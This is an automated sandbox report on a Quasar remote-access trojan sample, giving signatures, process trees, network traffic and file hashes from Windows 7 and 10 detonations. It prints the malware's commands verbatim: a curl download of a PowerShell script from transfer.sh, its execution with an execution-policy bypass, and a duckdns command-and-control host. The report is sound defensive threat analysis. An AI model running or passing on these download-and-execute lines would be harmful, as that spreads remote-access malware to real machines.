Malware Analysis Report

2025-04-14 05:06

Sample ID 230117-j3evxagf8v
Target {437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe
SHA256 3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5
Tags
persistence quasar office04 spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5

Threat Level: Known bad

The file {437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe was found to be: Known bad.

Malicious Activity Summary

persistence quasar office04 spyware trojan

Quasar payload

Quasar RAT

Checks computer location settings

Looks up external IP address via web service

Adds Run key to start application

Suspicious use of SetThreadContext

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies registry class

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-01-17 08:11

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-01-17 08:11

Reported

2023-01-17 08:13

Platform

win7-20221111-en

Max time kernel

44s

Max time network

33s

Command Line

"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"

Signatures

Adds Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2024 wrote to memory of 1788 N/A C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe C:\Windows\system32\cmd.exe
PID 2024 wrote to memory of 1788 N/A C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe C:\Windows\system32\cmd.exe
PID 2024 wrote to memory of 1788 N/A C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe C:\Windows\system32\cmd.exe
PID 1788 wrote to memory of 668 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 1788 wrote to memory of 668 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 1788 wrote to memory of 668 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WScript.exe
PID 668 wrote to memory of 1384 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 668 wrote to memory of 1384 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 668 wrote to memory of 1384 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 1384 wrote to memory of 540 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 1384 wrote to memory of 540 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 1384 wrote to memory of 540 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 668 wrote to memory of 1128 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 668 wrote to memory of 1128 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 668 wrote to memory of 1128 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 1128 wrote to memory of 1604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 1128 wrote to memory of 1604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 1128 wrote to memory of 1604 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 1604 wrote to memory of 620 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 620 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1604 wrote to memory of 620 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe

"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"

C:\Windows\system32\cmd.exe

cmd /c new.vbs

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\system32\cmd.exe

cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\system32\cmd.exe

cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

Network

N/A

Files

memory/2024-54-0x000007FEFC2D1000-0x000007FEFC2D3000-memory.dmp

memory/1788-55-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs

MD5 f7e7099eea0cc25fc49d04cd53c573a1
SHA1 3abac9f3f93b0f87ef432d70c40e8ab865157770
SHA256 b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be
SHA512 c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074

memory/668-84-0x0000000000000000-mapping.dmp

memory/1384-89-0x0000000000000000-mapping.dmp

memory/540-90-0x0000000000000000-mapping.dmp

memory/1128-91-0x0000000000000000-mapping.dmp

memory/1604-92-0x0000000000000000-mapping.dmp

memory/620-93-0x0000000000000000-mapping.dmp

memory/620-95-0x000007FEF3DB0000-0x000007FEF47D3000-memory.dmp

memory/620-96-0x000007FEF2750000-0x000007FEF32AD000-memory.dmp

memory/620-97-0x0000000002544000-0x0000000002547000-memory.dmp

memory/620-98-0x000000001B710000-0x000000001BA0F000-memory.dmp

memory/620-99-0x0000000002544000-0x0000000002547000-memory.dmp

memory/620-100-0x000000000254B000-0x000000000256A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-01-17 08:11

Reported

2023-01-17 08:13

Platform

win10v2004-20221111-en

Max time kernel

133s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation C:\Windows\SYSTEM32\cmd.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.ipify.org N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 444 set thread context of 3140 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\Local Settings C:\Windows\SYSTEM32\cmd.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2104 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe C:\Windows\SYSTEM32\cmd.exe
PID 2104 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe C:\Windows\SYSTEM32\cmd.exe
PID 4604 wrote to memory of 3340 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WScript.exe
PID 4604 wrote to memory of 3340 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WScript.exe
PID 3340 wrote to memory of 4280 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3340 wrote to memory of 4280 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4280 wrote to memory of 1548 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4280 wrote to memory of 1548 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 1548 wrote to memory of 796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1548 wrote to memory of 796 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 3340 wrote to memory of 4264 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 3340 wrote to memory of 4264 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4264 wrote to memory of 3424 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4264 wrote to memory of 3424 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 3424 wrote to memory of 444 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3424 wrote to memory of 444 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 444 wrote to memory of 3140 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 444 wrote to memory of 3140 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 444 wrote to memory of 3140 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 444 wrote to memory of 3140 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 444 wrote to memory of 3140 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 444 wrote to memory of 3140 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 444 wrote to memory of 3140 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 444 wrote to memory of 3140 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Processes

C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe

"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c new.vbs

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\system32\cmd.exe

cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\system32\curl.exe

curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\system32\cmd.exe

cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Network

Country Destination Domain Proto
N/A 72.21.91.29:80 tcp
N/A 8.8.8.8:53 transfer.sh udp
N/A 144.76.136.153:443 transfer.sh tcp
N/A 104.80.225.205:443 tcp
N/A 40.79.189.59:443 tcp
N/A 8.8.8.8:53 ghcc.duckdns.org udp
N/A 95.216.102.32:4782 ghcc.duckdns.org tcp
N/A 93.184.221.240:80 tcp
N/A 93.184.221.240:80 tcp
N/A 93.184.221.240:80 tcp
N/A 95.216.102.32:4782 ghcc.duckdns.org tcp
N/A 8.8.8.8:53 tools.keycdn.com udp
N/A 185.172.148.96:443 tools.keycdn.com tcp
N/A 8.8.8.8:53 api.ipify.org udp
N/A 64.185.227.155:443 api.ipify.org tcp

Files

memory/4604-132-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs

MD5 f7e7099eea0cc25fc49d04cd53c573a1
SHA1 3abac9f3f93b0f87ef432d70c40e8ab865157770
SHA256 b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be
SHA512 c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074

memory/3340-134-0x0000000000000000-mapping.dmp

memory/4280-135-0x0000000000000000-mapping.dmp

memory/1548-136-0x0000000000000000-mapping.dmp

memory/796-137-0x0000000000000000-mapping.dmp

memory/4264-138-0x0000000000000000-mapping.dmp

memory/3424-139-0x0000000000000000-mapping.dmp

memory/444-140-0x0000000000000000-mapping.dmp

memory/444-141-0x000002B3F3A30000-0x000002B3F3A52000-memory.dmp

C:\Users\Admin\AppData\Roaming\rr.ps1

MD5 970aca768e68faa580f758a1a379686b
SHA1 6a93921485cbd83382eb5a47315b1f0a67bcf684
SHA256 6c1e62385d660ca43e024d461154fbb4805e429cdf7850d19510d7f69533739e
SHA512 66dd4c5b17978e68c8e0cd2bc4fd35ba5d519447ff34259ec77d11e4253cbfc9955a43915ed3c343f41dc04d97f4302ab6922a823b0e0da44e8893d29ec7cf0f

memory/444-143-0x00007FF8A6AB0000-0x00007FF8A7571000-memory.dmp

memory/3140-144-0x0000000000400000-0x0000000000484000-memory.dmp

memory/3140-145-0x000000000047E74E-mapping.dmp

memory/444-146-0x00007FF8A6AB0000-0x00007FF8A7571000-memory.dmp

memory/3140-147-0x0000000005A90000-0x0000000006034000-memory.dmp

memory/3140-148-0x00000000054E0000-0x0000000005572000-memory.dmp

memory/3140-149-0x0000000005450000-0x000000000545A000-memory.dmp

memory/3140-150-0x0000000006660000-0x0000000006C78000-memory.dmp

memory/3140-151-0x0000000006090000-0x00000000060E0000-memory.dmp

memory/3140-152-0x0000000006300000-0x00000000063B2000-memory.dmp

memory/3140-153-0x0000000007CE0000-0x0000000007D46000-memory.dmp